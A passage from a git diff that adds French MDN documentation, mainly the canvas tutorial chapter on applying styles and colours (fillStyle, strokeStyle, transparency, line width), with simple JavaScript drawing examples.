+<p>Ce petit chapitre explique seulement quelques techniques pour créer des animations avancées. Il en existe bien davantage ! <span id="result_box" lang="fr"><span>Que diriez-vous d'ajouter une raquette, des briques et de transformer cette démo en une partie de casse-briques ?</span> <span>Consultez notre zone de développement de jeux pour plus d'articles liés <a href="https://developer.mozilla.org/fr/docs/Jeux">aux jeux</a>.</span></span></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Games/Techniques/Efficient_animation_for_web_games">Animation efficace pour les jeux vidéo</a></li>
+</ul>
+
+<p>{{PreviousNext("Tutoriel_canvas/Animations_basiques", "Tutoriel_canvas/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html
new file mode 100644
index 0000000000..15eef37006
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/ajout_de_styles_et_de_couleurs/index.html
@@ -0,0 +1,719 @@
+---
+title: Ajout de styles et de couleurs
+slug: Web/API/Canvas_API/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs
+tags:
+  - Canvas
+  - Couleurs
+  - Formes géométriques
+  - Graphismes
+  - Tutorial
+translation_of: Web/API/Canvas_API/Tutorial/Applying_styles_and_colors
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Formes_géométriques", "Dessin_de_texte_avec_canvas")}}</div>
+
+<div class="summary">
+<p>Dans le chapitre sur <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques" title="/fr/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes">les formes géométriques</a>, nous avons utilisé les styles de lignes et de remplissage par défaut. Ici, nous allons explorer les options de canvas à notre disposition pour rendre nos dessins un peu plus attrayants. Vous apprendrez comment ajouter des couleurs différentes, des styles de ligne, des dégradés, des motifs et des ombres à vos dessins.</p>
+</div>
+
+<h2 id="Colors" name="Colors">Les couleurs</h2>
+
+<p>Jusqu'à présent, nous avons seulement vu des méthodes sur le contexte de dessin. Si nous voulons appliquer des couleurs à une forme, il y a deux propriétés importantes que nous pouvons utiliser : <code>fillStyle</code> et <code>strokeStyle</code> .</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle = color")}}</dt>
+ <dd>Définit le style utilisé lors du remplissage de formes.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle = color")}}</dt>
+ <dd>Définit le style pour les contours des formes.</dd>
+</dl>
+
+<p><code>color</code> est une chaîne représentant un CSS {{cssxref("&lt;color&gt;")}}, d'un objet gradient ou d'un objet motif. Nous allons examiner le gradient et la structure des objets plus tard. Par défaut, l'encadrement et la couleur de remplissage sont fixés sur noir (valeur <code>#000000</code> de CSS <code>color</code>).</p>
+
+<div class="note">
+<p><strong>Remarque: </strong> Lorsque vous définissez <code>strokeStyle</code> et <code>fillStyle</code>, la nouvelle valeur devient la valeur par défaut pour toutes les formes en cours d'élaboration à partir de là. Pour chaque forme que vous voulez dans une couleur différente, vous aurez besoin de réaffecter <code>fillStyle</code> ou <code>strokeStyle</code>.</p>
+</div>
+
+<p>Les chaînes pour être valides, doivent être conforme à la spécification CSS {{cssxref("&lt;color&gt;")}}. Chacun des exemples suivants décrit la même couleur.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="comment token">// Les valeurs possibles de fillStyle pour "orange"</span>
+
+ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'orange'</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'#FFA500'</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgb(255, 165, 0)'</span><span class="punctuation token">;</span>
+ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgba(255, 165, 0, 1)'</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="A_fillStyle_example" name="A_fillStyle_example">Un exemple <code>fillStyle</code></h3>
+
+<p>Dans cet exemple, nous utilisons une nouvelle fois deux boucles <code>for</code> pour dessiner une grille de rectangles, chacun dans une couleur différente. L'image résultante devrait ressembler à la capture d'écran. Il n'y a rien de spectaculaire ici. Nous utilisons les deux variables <code>i</code> et <code>j</code> pour générer une couleur RVB unique pour chaque carré, et seulement modifier les valeurs rouges et vertes. Le canal bleu a une valeur fixe. En modifiant les canaux, vous pouvez générer toutes sortes de palettes. En augmentant les étapes, vous pouvez obtenir quelque chose qui ressemble à des palettes de couleurs que Photoshop utilise.</p>
+
+<pre class="brush: js;highlight[5,6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 6; i++) {
+    for (var j = 0; j &lt; 6; j++) {
+      ctx.fillStyle = 'rgb(' + Math.floor(255 - 42.5 * i) + ',' +
+                       Math.floor(255 - 42.5 * j) + ',0)';
+      ctx.fillRect(j * 25, i * 25, 25, 25);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Le résultat ressemble à ceci:</p>
+
+<p>{{EmbedLiveSample("A_fillStyle_example", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example">Un exemple <code>strokeStyle</code></h3>
+
+<p>Cet exemple est similaire à celui ci-dessus, mais utilise <code>strokeStyle</code> pour changer les couleurs des contours des formes. Nous utilisons la méthode <code>arc()</code> pour dessiner des cercles au lieu de carrés.</p>
+
+<pre class="brush: js;highlight[5,6] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">6</span><span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> j <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> j <span class="operator token">&lt;</span> <span class="number token">6</span><span class="punctuation token">;</span> j<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        ctx<span class="punctuation token">.</span>strokeStyle <span class="operator token">=</span> <span class="string token">'rgb(0, '</span> <span class="operator token">+</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span><span class="number token">255</span> <span class="operator token">-</span> <span class="number token">42.5</span> <span class="operator token">*</span> i<span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">', '</span> <span class="operator token">+</span>
+                         Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span><span class="number token">255</span> <span class="operator token">-</span> <span class="number token">42.5</span> <span class="operator token">*</span> j<span class="punctuation token">)</span> <span class="operator token">+</span> <span class="string token">')'</span><span class="punctuation token">;</span>
+        ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        ctx<span class="punctuation token">.</span><span class="function token">arc</span><span class="punctuation token">(</span><span class="number token">12.5</span> <span class="operator token">+</span> j <span class="operator token">*</span> <span class="number token">25</span><span class="punctuation token">,</span> <span class="number token">12.5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">25</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> Math<span class="punctuation token">.</span>PI <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+        ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="punctuation token">}</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>Le résultat ressemble à ceci :</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">Transparence</h2>
+
+<p>En plus de dessiner des formes opaques sur la toile, nous pouvons également dessiner des formes semi-transparentes (ou translucides). Cela se fait soit par le réglage de <code>globalAlpha</code> ou en attribuant une couleur semi-transparente à <code>strokeStyle</code> et/ou <code>fillStyle</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}</dt>
+ <dd>Applique la valeur de transparence spécifiée à toutes les formes futures tracées sur le Canvas. La valeur doit être comprise entre 0.0 (complètement transparent) à 1.0 (complètement opaque). Cette valeur est de 1,0 (complètement opaque) par défaut.</dd>
+</dl>
+
+<p>La propriété<code> globalAlpha</code> peut être utile si vous voulez dessiner un grand nombre de formes sur la toile avec la même transparence, mais sinon, il est généralement plus utile de définir la transparence sur les formes individuelles lors de la définition de leurs couleurs.</p>
+
+<p>Parce que <code>strokeStyle</code> et <code>fillStyle</code> acceptent les valeurs de couleur rvba CSS, nous pouvons utiliser la notation suivante pour attribuer une couleur transparente.</p>
+
+<pre class="brush: js notranslate">//Affecter des couleurs transparentes pour dessiner et remplir le style
+
+ctx.strokeStyle = "rgba(255, 0, 0, .5)";
+ctx.fillStyle = "rgba(255, 0, 0, .5)";
+</pre>
+
+<p>La fonction <code>rgba()</code> <em>(rvba)</em> est similaire à la fonction <code>rgb()</code> <em>(rvb)</em> mais il a un paramètre supplémentaire. Le dernier paramètre définit la valeur de la transparence de cette couleur particulière. La plage valide est entre 0,0 (totalement transparent) et 1,0 (totalement opaque).</p>
+
+<h3 id="A_globalAlpha_example" name="A_globalAlpha_example">Un exemple <code>globalAlpha</code></h3>
+
+<p>Dans cet exemple, nous allons dessiner un fond de quatre carrés de couleurs différentes. En plus de ceux-ci, nous allons dessiner un ensemble de cercles semi-transparents. <code>globalAlpha</code> est réglé à <code>0.2</code> et sera utilisé pour toutes les formes. Chaque étape de boucle <code>for</code> dessine un ensemble de cercles avec un rayon croissant. Le résultat final est un gradient radial. En superposant toujours plus de cercles, les uns au-dessus des autres, nous réduisons efficacement la transparence des cercles qui ont déjà été établis. En augmentant le pas et le nombre de cercles, l'arrière-plan devrait complètement disparaître du centre de l'image.</p>
+
+<pre class="brush: js;highlight[15] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="comment token">// draw background</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'#FD0'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'#6C0'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'#09F'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'#F30'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'#FFF'</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// règle la valeur de transparence</span>
+  ctx<span class="punctuation token">.</span>globalAlpha <span class="operator token">=</span> <span class="number token">0.2</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessine des cercles semi-transparents</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">7</span><span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">arc</span><span class="punctuation token">(</span><span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">10</span> <span class="operator token">+</span> <span class="number token">10</span> <span class="operator token">*</span> i<span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> Math<span class="punctuation token">.</span>PI <span class="operator token">*</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">fill</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_globalAlpha_example", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="An_example_using_rgba" name="An_example_using_rgba()">Un exemple en utilisant <code>rgba()</code></h3>
+
+<p>Dans ce deuxième exemple, nous faisons quelque chose de similaire, mais au lieu de dessiner des cercles, nous dessinons de petits rectangles à l'opacité croissante. L'utilisation de <code>rgba()</code> nous donne un peu plus de contrôle et de flexibilité.</p>
+
+<pre class="brush: js;highlight[16] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessine le fond</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgb(255, 221, 0)'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">37.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgb(102, 204, 0)'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">37.5</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">37.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgb(0, 153, 255)'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">75</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">37.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgb(255, 51, 0)'</span><span class="punctuation token">;</span>
+  ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">112.5</span><span class="punctuation token">,</span> <span class="number token">150</span><span class="punctuation token">,</span> <span class="number token">37.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Dessine des rectangles semi-transparents</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">10</span><span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span>fillStyle <span class="operator token">=</span> <span class="string token">'rgba(255, 255, 255, '</span> <span class="operator token">+</span> <span class="punctuation token">(</span>i <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">)</span> <span class="operator token">/</span> <span class="number token">10</span> <span class="operator token">+</span> <span class="string token">')'</span><span class="punctuation token">;</span>
+    <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> j <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> j <span class="operator token">&lt;</span> <span class="number token">4</span><span class="punctuation token">;</span> j<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      ctx<span class="punctuation token">.</span><span class="function token">fillRect</span><span class="punctuation token">(</span><span class="number token">5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">14</span><span class="punctuation token">,</span> <span class="number token">5</span> <span class="operator token">+</span> j <span class="operator token">*</span> <span class="number token">37.5</span><span class="punctuation token">,</span> <span class="number token">14</span><span class="punctuation token">,</span> <span class="number token">27.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("An_example_using_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">Le style des lignes</h2>
+
+<p>Il y a plusieurs propriétés qui nous permettent de modifier le style des lignes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}</dt>
+ <dd>Définit la largeur des lignes qui serons tracées.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}</dt>
+ <dd>Définit l'apparence des extrémités des lignes.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}</dt>
+ <dd>Définit l'apparence des «coins» où les lignes se rencontrent.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
+ <dd>Établit une limite lorsque deux lignes se rejoignent en un angle aigu, pour permettre de contrôler l'épaisseur de la jonction.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
+ <dd>Retourne le tableau du modele courant de ligne contenant un nombre pair de nombres positifs.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
+ <dd>Définit le modele de ligne.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
+ <dd>Indique où commencer un modele sur une ligne.</dd>
+</dl>
+
+<p>Vous aurez une meilleure compréhension de ce qu'ils font en regardant les exemples ci-dessous.</p>
+
+<h3 id="A_lineWidth_example" name="A_lineWidth_example">Un exemple <code>lineWidth</code></h3>
+
+<p>Cette propriété définit l'épaisseur de la ligne actuelle. Les valeurs doivent être des nombres positifs. Par défaut, cette valeur est définie à 1,0.</p>
+
+<p>La largeur de ligne est l'épaisseur centrée sur le tracé. En d'autres termes, la zone qui est dessinée s'étend de part et d'autre du tracé. Parce que les coordonnées ne font pas référence directement aux pixels, une attention particulière doit être prise pour obtenir des lignes horizontales et verticales nettes.</p>
+
+<p>Dans l'exemple ci-dessous, 10 lignes droites sont dessinées avec des largeurs croissantes. La ligne à l'extrême gauche a 1,0 unités de large. Cependant, celle ci et toutes les lignes d'épaisseur impair ne semblent pas nettes, en raison du positionnement du tracé.</p>
+
+<pre class="brush: js;highlight[4] line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> ctx <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'canvas'</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">getContext</span><span class="punctuation token">(</span><span class="string token">'2d'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> <span class="number token">10</span><span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    ctx<span class="punctuation token">.</span>lineWidth <span class="operator token">=</span> <span class="number token">1</span> <span class="operator token">+</span> i<span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">beginPath</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">moveTo</span><span class="punctuation token">(</span><span class="number token">5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">14</span><span class="punctuation token">,</span> <span class="number token">5</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">lineTo</span><span class="punctuation token">(</span><span class="number token">5</span> <span class="operator token">+</span> i <span class="operator token">*</span> <span class="number token">14</span><span class="punctuation token">,</span> <span class="number token">140</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    ctx<span class="punctuation token">.</span><span class="function token">stroke</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<div class="hidden">
+<pre class="brush: html line-numbers  language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>canvas</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>canvas<span class="punctuation token">"</span></span> <span class="attr-name token">width</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span> <span class="attr-name token">height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>150<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>canvas</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="function token">draw</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{EmbedLiveSample("A_lineWidth_example", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>Pour l'obtention de lignes nettes, il faut comprendre comment les lignes sont tracées. Ci-dessous, la grille représente la grille de coordonnées. Les carrés sont des pixels réels de l'écran. Dans la première grille, un rectangle (2,1) à (5,5) est rempli. La zone entière couverte par les lignes (rouge clair) tombe sur les limites des pixels, de sorte que le rectangle rempli résultant aura des bords nets.</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>Si vous considérez un tracé de (3,1) à (3,5) avec une épaisseur de ligne de <code>1.0</code>, vous vous retrouvez dans la situation de la deuxième grille. La surface réelle à remplir (bleu foncé) se prolonge seulement à moitié sur les pixels de part et d'autre du chemin. Une approximation de ceci doit être rendue, ce qui signifie que ces pixels sont partiellement ombrés, et le résultat est que toute la zone (le bleu clair et bleu foncé) est remplie avec une couleur moitié moins sombre que la couleur du tracé attendu. C'est ce qui arrive avec la largeur de <code>1.0</code> dans l'exemple précédent.</p>
+
+<p>Pour résoudre ce problème, vous devez être très précis dans la création de votre tracé. Sachant qu'une largeur de <code>1.0</code> s'étendra d'une demi-unité de chaque côté du tracé, créer le tracé de (3.5,1) à (3.5,5) aboutit à l'exemple trois pour une largeur de <code>1.0</code> et au remplissage d'un seul pixel de ligne verticale.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Sachez que dans notre exemple de ligne verticale, la position Y fait toujours référence à une position de grille entière — sinon, vous verrez des pixels à moitié colorés à gauche et à droite (mais notez aussi que ce comportement dépend de l'actuel style <code>lineCap</code>, dont la valeur par défaut est <code>butt</code>. Vous pouvez essayer de tracer des traits consistants avec des coordonnées non-entières pour les lignes et avec une largeur particulière, en définissant le style <code>lineCap</code> à <code>square</code>, pour que le bord extérieur du trait autour du point final soit automatiquement étendu pour couvrir le pixel entier).</p>
+
+<p><span id="result_box" lang="fr"><span>Notez également que seuls les points de début et de fin d'un chemin sont affectés : si un chemin est fermé avec <code>closePath ()</code>, il n'y a pas de point de départ ni de point final ;</span> <span>à la place, tous les points d'extrémité du chemin sont connectés à leurs segments joints précédent et suivant, en utilisant le paramètre courant du style <code>lineJoin</code>, dont la valeur par défaut est <code>miter</code>, avec pour effet d'étendre automatiquement les bordures extérieures des segments connectés à leur point d'intersection.</span> Ainsi,<span> le trait de rendu couvrira exactement les pixels pleins centrés à chaque extrémité si ces segments connectés sont horizontaux et / ou verticaux.</span> <span>Voir les deux sections suivantes pour les démonstrations de ces styles de lignes supplémentaires.</span></span></p>
+</div>
+
